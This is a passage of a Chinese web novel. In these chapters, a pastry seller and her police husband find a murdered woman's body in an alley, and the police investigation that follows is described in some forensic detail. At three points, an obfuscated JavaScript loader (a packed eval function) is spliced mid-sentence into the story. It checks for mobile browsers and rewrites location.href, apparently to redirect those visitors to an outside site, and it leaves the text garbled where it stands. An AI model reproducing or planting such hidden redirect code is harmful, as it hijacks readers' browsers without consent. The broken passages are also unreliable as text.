徐秀竹有些迟疑,“你确定?你可别跟我见外。”毕竟都结婚一个多月了,也不是外人。 陈远洲直接问道:“你到底从哪听说我不行的?” 徐秀竹就把还在千河村的时候听到的钱二英几个人的对话告诉了他。 “谣言。”陈远洲在线辟谣。 见陈远洲语气笃定,徐秀竹觉得自己应该是误会了,她又想到领结婚证的那天晚上对陈远洲说的那些“我不介意,你也不要介意”的话,有点不好意思了。 陈远洲见徐秀竹不说话了,干脆就跳过这话题。来日方长,再说行不行的这种事也不是用嘴说的。于是他就问徐秀竹今天有什么打算,要是出摊的话他可以帮忙挑扁担。 徐秀竹却说今天不出摊了。这段时间那三种面点卖的还不错,她打算再做几种,毕竟三种面点就敢叫“徐式面点”未免也有点太嚣张了。 陈远洲自告奋勇,“那我帮你试吃。” 想到陈远洲的“好吃,非常好吃”,徐秀竹嫌弃的拒绝了,“我已经跟郝行约好了,我做完他负责试吃。”, 徐秀竹觉得郝行在吃这一块还是挺有天赋的,而且还很会点评,无论她做什么,郝行都能说出个一二三,她觉得和郝行在吃这方面还挺有默契。 陈远洲一听徐秀竹找了郝行,顿时心里不是滋味,语气里都带了点酸味,说出的话也像小孩不讲理:“凭啥他就能试吃?” “因为他说的好啊!”徐秀竹还没意识到陈远洲的语气有什么问题,自顾自的去准备新面点要用的食材。 陈远洲心里不服气,索性就跟在徐秀竹身后,确保自己能第一时间吃到新出锅的面点。 厨房本来就不宽敞,陈远洲一米八七的大体格子挤在厨房里,徐秀竹只觉得空气都不流通了,然后她十分不客气的把人撵了出去。 陈远洲一脸怨念的看着紧闭的厨房门,有种被媳妇抛弃的感觉。 徐秀竹把自己关在厨房里,临近午饭的时候做出来四种新品。她一样拿了两个,准备给郝行送去,陈远洲见状立马跟了上去。 “你来做什么?”上楼的时候徐秀竹问道。 “和邻居联络一下感情。”陈远洲敲了敲郝行的门。 郝行昨晚灵感大爆发,创作了一晚上,这才睡了没一会儿又被吵醒。但他从小就是个好脾气,长到这么大连叛逆期都没有,更别说起床气了,他顶着鸡窝头和黑眼圈给两个人开了门,还很有礼貌的说了一句“早上好”。 “不早了,这都中午了。”徐秀竹一看郝行的样子就知道他又熬夜搞创作了,她有些担心郝行的身体和他的头发,于是关切道:“你这样黑白颠倒可不好。” 睡眠不足的郝行迷迷糊糊地挠了挠头,看到徐秀竹手里端着的面点后,才后知后觉的想起来二人的约定,于是连忙让徐秀竹和陈远洲进屋。 文艺青年郝行的家里可一点都不文艺。客厅拉着窗帘,窗帘很厚,一丝光都不透,屋子里黑乎乎的。还有散落一地的稿纸、吃了一半的苹果、练倒立的垃圾桶、随手乱扔的衣服、各种摊开的书籍…… 徐秀竹心想街道办前段时间一直在搞爱国卫生运动,郝行绝对是漏网之鱼。 “不好意思,家里有点乱。”郝行赶紧把窗帘拉开,阳光照进来的时候有些刺眼,他条件反射的闭上眼睛,原地缓了一会才敢睁眼睛。 “倒是……还能进来人。”徐秀竹说的挺委婉。 郝行还记得自己的试吃任务,赶紧去洗脸刷牙。徐秀竹看着乱糟糟的房间实在难受,就帮着收拾起来,还让陈远洲帮忙。 陈远洲心里是不情愿的,可还是听话的拿起了扫帚。两个人没一会儿就收拾出个大概,郝行从卫生间出来的时候还以为自己眼花了。 “你赶紧尝尝。”徐秀竹积极推荐新品。 郝行拿起一块千层糕,仔细品尝了一下后,刚要开口,陈远洲先他一步说话。 “这个千层糕很好,色泽洁白,糕体松软,猪油的香气混合着桂花酱的清甜,搭配上里面的葡萄干和瓜子仁,口感十分丰富。” 见陈远洲说的头头是道,徐秀竹有些意外,于是又指着山楂云卷糕提问道,“这个呢?” 陈远洲的词汇量都用在千层糕上,他一时说不出来了。 郝行尝了一口说道:“我觉得这个山楂云卷糕还是挺有创意的,口感微酸,很特别,要是你能把山楂切成片或许比放整个山楂更好些。” 然后郝行又试吃了金银卷和黄金糕,不仅形容了口感,还都给出了建议,徐秀竹觉得很有用。 俩人离开郝行家的时候,陈远洲一直不说话,徐秀竹有点反应过来他为什么非要跟来了。 下楼的时候陈远洲走在前面,徐秀竹把手搭在他的肩膀上,问道:“你是不是也想帮我试吃呀?” “我又不会提建议。” 徐秀竹听出了他语气里的别扭,抿着嘴偷笑,陈远洲回头就看到徐秀竹的眼睛弯成了月牙。 到了家门口陈远洲也没急着开门,问道:“你笑什么?” 徐秀竹亮晶晶的眼睛看着陈远洲,然后伸手捏了捏他的脸,“笑你可爱呗。” 陈远洲老脸一热,“胡说八道。” “你不用勉强自己做不擅长的事。”徐秀竹握了握陈远洲的手,“人家都说术业有专攻,郝行就是靠笔杆子吃饭的,自然能说出那么多的所以然来,你又不靠笔杆子,争那口气做什么。” 在陈远洲活了两辈子的记忆中,他已经不记得上一次被人这么轻声细语的哄着是什么时候了。他无父无母,是没有血缘关系的爷爷把他捡回来,抚养长大。后来爷爷去世,他去了部队,成了一名流血流汗不流泪的铁血军人。 后来执行任务时牺牲,他换了时空,不变的依旧是军人的身份,他也早就忘了被人轻声细语当小孩子哄着是种什么感受了。 陈远洲回握住徐秀竹的手,眼里涌动跟着自己都不曾察觉的柔情。 对面的门忽然开了。郑悦欣拎着锅铲本来是想跟徐秀竹求助的,可她一开门就看到徐秀竹和陈远洲在门口拉着手深情对视着,她一时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14489452|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进也不是退也不是,场面有些尴尬。 徐秀竹赶忙松开陈远洲的手,她隐隐闻到一股糊味,就问郑悦欣是不是把鱼煎糊了。 吴凯带着吴桐去买水彩笔,郑悦欣就想趁着这个时间大展身手。可理想很丰满,现实很骨感,出师未捷鱼先糊。 “锅里多放些底油,鱼下锅之后先不要动它,小火慢慢的煎。”徐秀竹又告诉了郑悦欣补救办法,她鼓励道:“你之前已经做得很好了,不要紧张嘛。” “嗯!”郑悦欣信心十足的晃了晃手里的锅铲,然后朝徐秀竹眨眨眼:“那我就不打扰你们小两口了。”说完关上了自家的门。 “赶紧开门。”徐秀竹有点埋怨的推了陈远洲一下。 郑悦欣回到厨房继续埋头苦干。 她从昨天晚上就开始一遍遍在脑子里过着做菜的流程,步骤早就烂熟于心了。可理论和实践还是有些差距的,直到吴凯带着吴桐回来,郑悦欣还在跟已经煎的面目全非的鱼作斗争。 前几天郑悦欣一回家就往对门跑,吴凯还以为她只是去学做吴桐要吃的营养餐,没想到她还学做了其他菜。 吴凯看着在厨房里忙忙碌碌的郑悦欣有些心疼。他知道郑悦欣结婚之前就什么活都没干过,结婚之后他自然要让郑悦欣和在家的时候一样。 今年是他第一年带毕业班,他很想让学生们都考过个好成绩,每天也是起早贪黑的忙碌着,虽然已经尽量兼顾工作和家庭,可难免还是有疏漏的地方。 “最近太忙了,没有照顾好你和女儿,对不起。”吴凯进了厨房,抱着郑悦欣说道。 “那就换我来照顾你和女儿吧。”郑悦欣心里软软的。 可吴凯一看到郑悦欣拿菜刀的架势就冒冷汗。怕吓到郑悦欣,他也不敢出声,就一直在旁边盯着,随时准备救援。 “你先出去,你在这我都不会做了。”郑悦欣一见到吴凯就更紧张了。 “真的可以吗?”吴凯不放心道:“我不说话,我就在这看着你做。” 见郑悦欣秀气的眉毛挤在了一起,吴凯只好先从厨房撤出来,却担心的在客厅直转圈。 吴桐正在客厅里画画,看着爸爸转来转去的,她有些不高兴:“爸爸,你不要转了,我的头都晕晕的了。”她都在本子上画了七八个圆圈了。 吴凯一听赶紧停下来。他坐在吴桐对面,看着女儿本子上的抽象派画作,想到她一贯耿直的性格,决定提前给她打个预防针。 “桐桐,今天是妈妈第一次给咱们做饭吃,很辛苦的,所以无论妈妈做得好不好,咱们都要感谢妈妈,并且把饭菜都吃光。” 吴桐觉得他有些奇怪,“妈妈的菜都还没有做好,爸爸怎么就觉得会不好吃呢?” 吴凯一时语塞,心想对啊,菜都还没端上来呢,他怎么就想当然得觉得会不好吃呢?说不定他老婆就是个做饭天才呢! 事实证明他们家不盛产天才,郑悦欣忙活了半天,端上来四盘黑碳,吴凯看着,只恨自己不是教语文的,词汇量没那么丰富。 对门的徐秀竹偷偷开门使劲吸了吸鼻子,然后又垂头丧气的关上了门。 “怎么了?”陈远洲不明所以。 徐秀竹一摊手:“教学失败。” 20. 第20章 第20章 徐氏面点现在有七款产品,每款都很受欢迎,徐秀竹每天挑着扁担走街串巷的宣传,也积累了不少老顾客,还有很多人都是提前跟她预定,她现在每天的净收入基本能稳定在二十五块钱左右。 徐秀竹上午主要是先给那些预定的客户送货,下午才出摊。有些顾客想买的时候碰不到她,就纷纷问她打算什么时候开店,这样有固定的店铺,这样大家买的时候也都方便。 徐秀竹也在考虑这个问题,她现在每天要做的面点量比较大,家里的厨房太小了,锅也不够大。开店的话她除了做这几种面点,还可以做些简单的花卷馒头。 下午她早早结束准备回家,刚把扁担挑起来就看到陈远洲从对面过来。一身橄榄绿色的警服衬的陈远洲的身姿更加挺拔,路过的人纷纷侧目。 这还是徐秀竹第一次在外面遇见陈远洲,她满脸笑意的问道:“你是下班了吗?” 陈远洲:“出来办事。”说着接过徐秀竹手里的扁担,“走吧,回家。” “小徐,这是你丈夫吗?”路过的经常买面点的王大娘问徐秀竹。 徐秀竹笑着点点头。 “哎呦,公安好啊!”王大娘看了看穿着警服的陈远洲,随后对徐秀珠说道:“你真是好福气!” “是我福气好。”陈远洲礼貌地朝王大娘点了点头。 王大娘意识到自己的话有问题,赶忙找补道:“对对对!小徐也很能干!她做的面点又香又软,我们街里街坊的都很喜欢!” 徐秀竹又和王大娘寒暄了几句才和陈远洲离开。她看了看陈远洲身上的警服,再看看自己的粗布衫,默默从陈远洲的手里把扁担接了过来。 陈远洲不明白她的意思,徐秀竹说道:“你穿着警服挑扁担不好看。” 说完徐秀竹四下看了看,“万一碰到你的同事,不好。” 徐秀竹之前一直沉浸在自食其力的喜悦里,她每天做面点,卖面点,有收入,她觉得很有成就感。可刚才王大娘的话让她意识到一件事,那就是陈远洲是有体面工作的人,要是让他的朋友同事知道,他的妻子是一个挑着扁担走街串巷的小商贩,会不会瞧不起他? 一想到这徐秀竹立马挑着扁担小步跑到街道的另一边,和陈远洲隔街相望。 徐秀竹朝他挥了挥手:“自己走自己的。” 可陈远洲并未理睬徐秀竹的话,径直朝她走过来,在她身边站着不动。 “你嫌弃我?”陈远洲先发制人。 “没有啊!” “那为什么不跟我一起回家?”陈远洲盯着徐秀竹,一副“不说清楚别想走”的架势。 徐秀竹有些无奈,只好解释道:“我是怕给你丢人。” “丢什么人?” “你是人民警察,工作体面,我就是个挑着扁担的小商贩,要是让人看到,会瞧不起你的。” 陈远洲觉得徐秀竹这个思想有点危险,他必须要纠正。 “你有没有听过人民警察为人民?” 徐秀竹点点头,“听过啊。” “那你是不是人民?” 徐秀竹继续点头:“我当然是啊。” 陈远洲灵魂拷问:“那人民警察和人民在一起有什么问题?” 徐秀竹答不上来了。 陈远洲垂眸看着徐秀竹:“劳动人民最光荣,徐老板靠自己的双手创造财富,这是一件很光荣的事,我本来还想跟你沾点光,可听你的意思,像是不愿意让我沾光?” 徐秀竹一听脱口而出道:“我没有不愿意!” 陈远洲心满意足的笑了,朝她伸手:“那就给我一个献殷勤的机会。” 徐秀竹稀里糊涂的又把扁担给了陈远洲。俩人并排往家走,徐秀竹频频看向身边的人,心想她从前怎么没发现陈远洲的口才这么好? 路过菜市场的时候徐秀竹去买菜,买完菜又去了徐静那里。 徐静早早就把猪板油准备好,她接过徐秀竹提前给她留的千层糕和金银卷,看了眼旁边的陈远洲,笑着道:“这位是妹夫吧,还是第一次见呢!” 陈远洲点了点头,算是打过招呼。 菜市场里的人不少,陈远洲一身警服挑着扁担很快就成了围观对象,徐秀竹打算带着他从后面绕出去。 菜市场原本只有南边临街这一个出入口,平时摊贩和顾客进出也都走南边。菜市场后面是新建的卫生院,因为嫌菜市场太吵闹,就在中间隔出一条狭长的胡同,两边用砖砌成了一人多高的围墙。 这条胡同一开始还有人在这摆摊卖些二手货,可胡同太窄了,只够一人通行,后来就黄了。又因为是条死胡同,就经常有人往这里边堆杂物。 临近菜市场这边的围墙不知道被谁弄出个豁口,有些摊贩为了抄近路又拆下来一些砖,就成了另一个进入菜市场的小门。这还是徐秀竹之前闲逛的时候发现的。 胡同太窄了,二人一前一后走着,可徐秀竹没走几步就停了下来。 她回头看着胡同最里面那堆杂物,总觉得从那里散发出一股很奇怪的味道,她也形容不出来。 “怎么了?”陈远洲在她身后也停下脚步。 徐秀竹指着那堆杂物对陈远洲说道:“那边有一股怪味。” 菜市场里卖什么的都有,味道杂乱本也正常,可陈远洲知道徐秀竹的嗅觉异于常人,于是他放下扁担,朝着那堆杂物走去,徐秀竹见状也跟了上去。 陈远洲走近后下意识觉得哪里不对劲,他把盖在最上面的黑色雨衣掀开,看清下面的情况后眉头一紧。 身后的徐秀竹一伸头也看见了,她瞪大了眼睛,整个人吓得呆在了原地,连呼吸都忘了。 陈远洲反应很快,一把捂住徐秀竹的眼睛,把她转了个身后带进怀里,另一只手赶紧轻轻拍着她的背安抚。 被捂住眼睛的徐秀竹眼前一片黑暗,可脑海中却是挥之不去的可怕场景。 蜷缩在那堆杂物之中的,是一个全身赤/裸,浑身布满伤痕的女人。 准确来说,是女人的尸体。 徐秀竹意识到了问题的严重性,她缓了一会儿后,颤抖着声音说道:“这个......是不是归你们管?” “嗯。” “好,那你去忙吧,我......我自己回家。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14494045|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈远洲不放心,“我送你回去。” “不用。”徐秀竹定了定心神,“不用管我。” 薛艳说过,作为警察的家属,也要有觉悟。虽然她那个时候还不清楚是什么觉悟,但眼下让陈远洲去忙正事,早点抓住坏人,应该算是有觉悟吧。 “把手放下吧。”徐秀竹轻轻拍了拍陈远洲的手背。 陈远洲站在原地,看着徐秀竹走了两步又停了下来。 “怎么了?”陈远洲赶紧上前问道。 徐秀竹脱下身上的外套塞给陈远洲,犹豫了一下,说道:“给她......穿件衣服吧。” 陈远洲看了看手里的衣服,并没有告诉徐秀竹不能随意移动尸体的事。他轻轻揉了揉徐秀竹的脑袋,柔声道:“好。” 徐秀竹离开之后,陈远洲先去附近的小卖部给局里打了个电话,随后回来勘察现场。 林寻一和法医队的同志最先赶到现场,随后是赵无双和技术队的方正,还有几个刑侦队的探员。 现场拉起了警戒线。法医江铭检查了一下尸体,初步断定死者死亡时间是昨天夜里一点到三点之间,虽然身上有大量伤痕,但死亡原因应该是机械性窒息,具体的还要带回去尸检才知道。 “哥,你咋发现的尸体啊?”赵无双看着这条狭长逼仄的死胡同,不知道陈远洲到这干什么。 陈远洲指了一下残缺围墙后面的菜市场:“跟你嫂子过来买菜。” 赵无双嗷的一嗓子惊讶道:“嫂子也看到了?” 一旁勘察现场的林寻一厌恶的瞪了赵无双一眼:“你鬼叫什么?” 赵无双懒得搭理林寻一,凑到陈远洲身边连珠炮式的问道:“那嫂子呢?回家了吗?自己回去的还是你送回去的?嫂子吓坏了吧?不会有啥心理阴影吧?你要不要回去看看啊我的哥?” 陈远洲听得有些闹心,他指了指专心勘验现场的林寻一转移话题,“他比你强。” 这招确实好使,赵无双嘟囔了一句“他强个六”后立马加入勘察队伍。 徐秀竹回家之后就一直在客厅里坐着,天黑后她又把家里所有的灯都打开了。 说不害怕是假的,她现在根本不敢闭眼睛,只要一闭上眼满脑子都是胡同里面看到的场景。 后半夜一点,陈远洲回来了。他一进门就看到徐秀竹可怜巴巴的抱着腿在沙发上坐着,徐秀竹见他回来连鞋都没穿就从沙发上跑了下来,直接扑进他怀里。 陈远洲抱着她坐在沙发上,亲了亲她的头发,“吓坏了吧?” 徐秀竹找了个舒服的姿势靠着他,“凶手抓到了吗?” “还没有。”陈远洲捏了捏眉心。 这个年代既没有普及DNA技术,也没有天网监控这些现代化侦破手段,刑侦破案的办法相对比较原始。目前死者身份还没确认,法医那边也在加紧做尸检,尸检报告最快也要明天早上能出来。 二人回到卧室休息,可徐秀竹根本睡不着,但好在陈远洲在身边,听着他均匀地呼吸声,也能安心些。 第二天陈远洲早早就到了局里,江铭把尸检报告拿给他,“陈队,有发现。” 21. 第21章 第21章 陈远洲看完尸检报告后,让林寻一招呼大家开会。 尸检结果显示,死者年龄在二十五岁到二十七岁之间,死亡时间确定为前天凌晨一点半到两点半之间,死亡原因是机械性窒息。江铭根据死者脖子上约为两指宽的勒痕推测凶器应该是皮带。死者的手腕和脚腕处均有被捆绑过的痕迹,身上多处骨折,死前和死后都遭受过虐待。 赵无双听到这没忍住骂了一句,“靠,凶手是变态吧?” 江铭:“死者腰上有一个两公分见方的蝴蝶刺青,左手五个指甲里均残留着少量人体皮肤组织,推测应该是跟凶手打斗时留下的,所以凶手身上应该有相应的伤痕。死者生前并未遭到侵害,但是刚做完人流手术不久,而且这个手术并不是在正规医院做的,更像是小诊所一类的,因为技术和卫生条件不达标,人流不全,已经引起宫腔内感染。” 方正又说一下现场勘查情况,“现场没发现任何可以证明死者身份的东西,那些废弃的杂物我们已经全都带回来进行检测,目前还没有发现什么。” 陈远洲:“那件黑色雨衣要查一下,雨衣有七八成新,不像是废弃不要的。” 目前死者身份还不能确定,但从死亡到现在已经过去了三十多个小时,陈远洲让赵无双问一下南阳区的各个派出所,看看有没有人报失踪。然后再以胡同为圆心,五百米、一千米依次为半径走访一下周围的住户、小卖部、摊贩这些,看看最近有没有什么可疑的人在这周围出现过。 赵无双不解道:“为啥要以胡同为圆心?凶手是就在这附近吗?万一他是别的区的呢?” 陈远洲解释道:“死者生前遭受过虐待,所以胡同并不是第一案发现场,而是抛尸地。每个人都有自己的心理安全区,那是他经常活动的地方,对于杀人抛尸这种极端行为来说,心理安全区就更加重要,凶手不会冒险选择自己不熟悉的地方抛尸。” 赵无双长见识了:“懂了!” 陈远洲又让林寻一带人查一下南阳区所有能做人流手术的诊所,看看最近有没有腰上有蝴蝶刺青的年轻女性来做过手术,重点关注的是一个人来的。 赵无双又发出疑问:“为啥关注一个人去的?” 林寻一一脸嫌弃:“正规医院做人流手术不便宜,而且还规定要有家属陪同,小诊所费用低,也不要求这些,死者选择小诊所做手术,可能是因为便宜,也可能是因为没人能陪她。她二十多岁的年纪要是因为没人陪而选择小诊所,就说明她很可能还没结婚。一个女人未婚先孕,她会满世界的宣传吗?” 赵无双觉得他分析的有道理,却还嘴硬道:“就你能。”说完就招呼邓回和姜越跟他去走访。 林寻一也带着几个人去查小诊所,临出发前陈远洲提醒道:“除了查诊所,还要查能做手术的大夫。” 林寻一脑子反应很快:“意思是,也许不一定是在诊所内做的手术?” “嗯。”陈远洲点点头,“不排除有些大夫会私下里接触患者。” 林寻一提出疑问:“那就不只是小诊所了,大医院的大夫也可以偷着做手术啊?” 陈远洲:“如果小诊所找不到,这就是下一步的排查方向。” 林寻一明白陈远洲的意思了。他看了眼陈远洲,心想这个空降兵还不算太废,那个什么“心理安全区”就有点意思。 赵无双和林寻一带着人出去走访排查,陈远洲则叫上方正又去了胡同。 也不知道是不是昨天被吓到了,徐秀竹今早就觉得浑身不舒服,上下眼皮直打架。她强撑着把昨天顾客预定的面点做完送了出去,回来后就一直在床上躺着,临近中午了也不想起来给郝行做饭,一直躺倒快十二点,她才去给郝行送了几块脂油卷和两个煎蛋,让他垫垫肚子。 郝行见她脸色不太好,就让她回家歇着,他下午要回家看看父母,这几天都不回来,也不用送饭了。 徐秀竹拖着沉重的脚步下楼,就看到郑悦欣着急忙慌的赶了回来。郑悦欣说她妈妈生病住院了,她赶着去医院陪护,想麻烦徐秀竹下午四点半去学校接一下吴桐。 郑悦欣焦急的解释道:“我爸去了外地,要过两天能回来,吴凯带着毕业班,下午还要多上一节课,他有个同事这几天又请假,他还得帮着代课,实在没办法接桐桐。” 徐秀竹一听立马答应了,“照顾阿姨要紧,吴老师要是没时间的话,这几天就让桐桐住在我这里,我接送她放学。” 郑悦欣谢过徐秀竹,回家取了点钱就赶紧去了医院。 徐秀竹惦记着接吴桐放学,一下午也不敢睡觉,不到四点就出发去了学校。 吴凯和郑悦欣都在师大附中当老师,吴桐上的是师大附小,两个学校就隔了一条街。 吴桐的老师没见过徐秀竹,尽管吴桐说认识徐秀竹,可她还是不太放心把孩子交出去,好在吴凯趁着下课的功夫赶了过来,说明徐秀竹是他的邻居,两家关系也很要好,老师这才放心。 吴凯再次向徐秀竹表达了感谢,徐秀竹开玩笑道:“悦欣姐已经谢过我好多遍了,吴老师要是再这么客气,我可就要收看护费了。” 吴桐也觉得吴凯的话太多了,她亲昵的拉着徐秀竹的手,直接朝爸爸挥了挥手说了句再见,然后头也不回的拉着徐秀竹走了。 “桐桐在婶婶家要听话啊!”身后的吴凯还在叮嘱。 “爸爸好啰嗦啊。”吴桐仰着小脸看向徐秀竹:“我又不是六七岁的小孩子,我都八岁啦!” 最近吴桐饭吃得比较好,小脸上也有了肉,徐秀竹轻轻捏了捏她的脸蛋,笑着道:“桐桐最乖了,今晚想吃什么,婶婶给你做。” “婶婶做什么我都爱吃。”吴桐的小嘴像抹了蜜一样。 徐秀竹一脸受宠若惊道:“哇,你这么说我好高兴呀!” 回去的时候徐秀竹去了菜市场,只是一进菜市场她的目光就忍不住朝胡同的方向看过去,感觉身上的汗毛又要立起来了。 徐静麻利的给她切了二斤排骨,然后神秘兮兮的跟她说道:“妹子,今天警察来我们这问话了,问我们这几天有没有发现什么异常,听说是后面的胡同里发现了一具女尸。” 徐秀竹的回忆又被徐静的话勾了起来,她把钱递了过去,含糊道:“是吗?那也太可怕了。” “现在菜市场里传什么的都有,说这个凶手专杀女人。”徐静一脸气愤道:“那个凶手最好别被我碰见,被我碰见我一刀废了他!真当咱们女人是纸糊的呢!” 晚上徐秀竹给吴桐做了糖醋排骨。怕小孩子肠胃弱,徐秀竹并没有炸排骨,而是把排骨糊的软软烂烂的,又用她自己调制的糖醋汁小火慢煮,出锅的时候还撒上了芝麻。 “好香啊!”吴桐盯着排骨直咽口水。 “咱们先去洗手吧。” “好!”吴桐乐颠颠的跟上徐秀竹的脚步。 徐秀竹没什么胃口,但看着吴桐吃得香她也高兴。吴桐的小嘴就没停下来过,她从前不喜欢吃肉,总觉得肉有一股怪味,可徐秀竹做的完全没有,除了香就是香。 “你这孩子不吃饭跑这来干啥!”门外忽然传来一个女人的声音,紧接着就是一个小男孩的哀嚎声。 徐秀竹赶忙出去,开门就看到住在四楼的王冬玲和她儿子李航。这一家人是前一阵刚搬来的,来之后也是挨家挨户的认识了一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14503098|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这是怎么了?”徐秀竹看着王冬玲还拧着李航的耳朵。 李航今年上二年级,长得虎头虎脑的,一看就是那种淘气的皮孩子,耳朵都被他妈拧着了还不老实的扭动着身子。 王冬玲有些不好意思,“我家这个臭小子实在是太馋了,非说你家做饭香,愣是要趴在门口闻味,死活也不肯回家吃饭。” 李航眼巴巴的看着徐秀竹,“婶儿,你家今晚吃的是啥啊?也太香了吧!” 正说着吴桐拿了块排骨跑了出来,边啃边看热闹。 李航吸了吸鼻子,指着吴桐手里的排骨大喊道:“就是这个!就是这味儿!” 王冬玲松开李航的耳朵,照着他的屁股又踹了一脚,“馋死你得了!” 徐秀竹被李航逗笑,说道:“你等着,我去给你装几块回家吃。” 王冬玲连忙说道:“妹子,不用了!” “用。”李航朝着王冬玲直眨巴眼睛,“妈,用。” 没一会儿徐秀竹端了个小盘子出来,她给吴桐留了几块,又给李航分了一些。李航端着盘子乐的眼睛都看不见了,王冬玲则被自家儿子搞得有些无语。 王冬玲说李航从小就贪吃,小时候经常因为吃积食闹毛病,可就算是这样也挡不住,一边难受一边还要吃。她说李航好像就没有不吃的东西,饿急眼了桌子腿撒点盐面都能啃两口。 徐秀竹被王冬玲的形容逗乐了。她来滨城这段时间也发现了,东北人好像骨子里就带着幽默劲,说话特别逗,还很有画面感。 “看看这大腚,多实诚,全是肉。”王冬玲丝毫不给儿子面子,在他屁股上轻轻踹了一脚。 吴桐一直看着李航。在李航的认知里,在大人面前挨打挨骂都没啥,但是在同龄人面前可不行。他一脸怨念的看着王冬玲,幽幽道:“妈,给我点面子。” 王冬玲还以为自己听错了,笑道:“你趴人家门缝闻味的时候咋不知道要面子呢?” “哎呀!”李航抱着盘子就往家跑,跑了几步还不忘回头跟徐秀竹道谢。 吴凯是快七点来接吴桐的,吴桐已经写完了作业,正在画画。 徐秀竹见吴凯一脸疲惫,说道:“吴老师你吃饭了吗?家里还有饭,你带些回去吧,省得你做饭了。” 吴凯谢过徐秀竹,他说自己已经在学校吃过了。 两个人又闲聊了两句。吴凯是教数学的,除了是初三一班的班主任,还负责二班和三班的数学课。他们数学组有个高老师这几天请假,他还得帮忙上四班和五班的数学课。两个老师的教学进度不一样,他着实忙得够呛。 吴凯刚把吴桐接走,陈远洲就回来了。陈远洲在外面跑了一天,晚饭还没吃,徐秀竹赶忙把饭菜给他热了一下。 陈远洲吃饭很快,但并不是狼吞虎咽的那种,反而让人觉得吃得很香。徐秀竹晚饭的时候还没胃口,这会儿看着他吃还有点饿了,于是给自己盛了一小碗饭,跟他一起吃。 饭后徐秀竹看着陈远洲洗碗的时候,实在没忍住,问道:“凶手抓到了吗?” “还没有。”陈远洲把洗好的碗筷放好。 徐秀竹说她今天去买菜,听徐静说菜市场里传什么的都有,还说自己现在一到那个市场就觉得汗毛都竖起来了。 “会不会是菜市场里的人?”徐秀竹大胆猜测了一下。 “不好说。” 见徐秀竹不说话,陈远洲问她怎了么。 徐秀竹叹气:“就是觉得你们也挺不容易的,坏人实在是太狡猾了。” “所以我们就要比坏人更狡猾。” 第二天陈远洲又是一大早就去了局里,但比他更早到的是谭立新。 22. 第22章 第22章 谭立新这些日子在家里养着,整个人闲的身上都要长毛了,可薛艳看得紧,非要让他完全恢复了才能上班。 伤筋动骨一百天,真要是在家里待够一百天,那谭立新非得抑郁不可。昨晚他软磨硬泡,薛艳总算吐口让他回单位,但前提是不许出外勤,只能在办公室里坐着。 谭立新早上一来就听说发生了命案,了解了细节之后他总觉得不对劲,就跟陈远洲说前年和去年也发生过类似的案件,死者都是浑身赤/裸被抛尸,也都遭受过不同程度的虐待,唯一的区别是没有做过人流手术。 至于案子为什么至今没破,谭立新说凶手都是选择在雨夜抛尸,现场被大雨冲刷的一点痕迹都没有,他们只能从被害人的社会关系着手调查。可两名被害人都不是本地人,又都是独居,没有固定工作,性格孤僻,平时也不和什么人接触,更是很少和家里人联系。 赵无双这边也有了线索。三道口派出所今天早上接到一名女性报案,说跟她合租的室友已经三天没回来了,她描述的体貌特征跟死者吻合,腰上的蝴蝶刺青也对上了,赵无双立马安排她辨认了尸体,确定死者就是她的合租室友苗颖。 根据报案人钱清的描述,死者苗颖今年二十六岁,老家是滨城下面安县的。她和苗颖之前都是纺织厂的临时工,因为厂里不给临时工提供宿舍,二人为了省钱就合租了一个平房。去年秋天厂里裁员,二人就下岗了,之后钱清在商场里找了一份卖服装的工作,而苗颖则一直没有工作。 谭立新问道:“她不工作要靠什么生活?” 钱清摇摇头,“我也不清楚,但是她好像也没有缺过钱,花钱反倒比之前有工作的时候更大方,经常买东西,而且还有多余的钱寄回家里。我听她说,她家里的两个弟弟都没结婚,爹妈重男轻女的厉害,总是管她要钱,我之前听她念叨过好几次,说早晚要和家里断绝关系。” 陈远洲问道:“她这段时间有没有什么反常的地方?” 钱清想了一会儿,“还真有,她上个月有一天上午出去了一阵,回来之后看起来特别难受,脸白的像纸一样,我那天正好歇班,就给她煮了点粥,但是她也没吃几口,晚上的时候我还听见她在房间里哭,我以为是她家里人又管她要钱了,就站在门口劝了几句。” 陈远洲:“门口?” 钱清点了点头:“她平时不让我进她的房间,出来进去都锁门,我还觉得挺伤心的,毕竟都在一个屋檐下住着,她防我还跟防贼似的。” 陈远洲:“你觉得苗颖是个什么样性格的人?” 钱清斟酌了一下,说道:“我觉得她挺孤僻的,之前在纺织厂的时候就不爱和人说话,也不和邻居接触,别看我们住在一起,但我觉得她并没有真心拿我当朋友,我感觉她防备心特重。” 陈远洲:“那她平时有没有接触比较多的男性友人?” 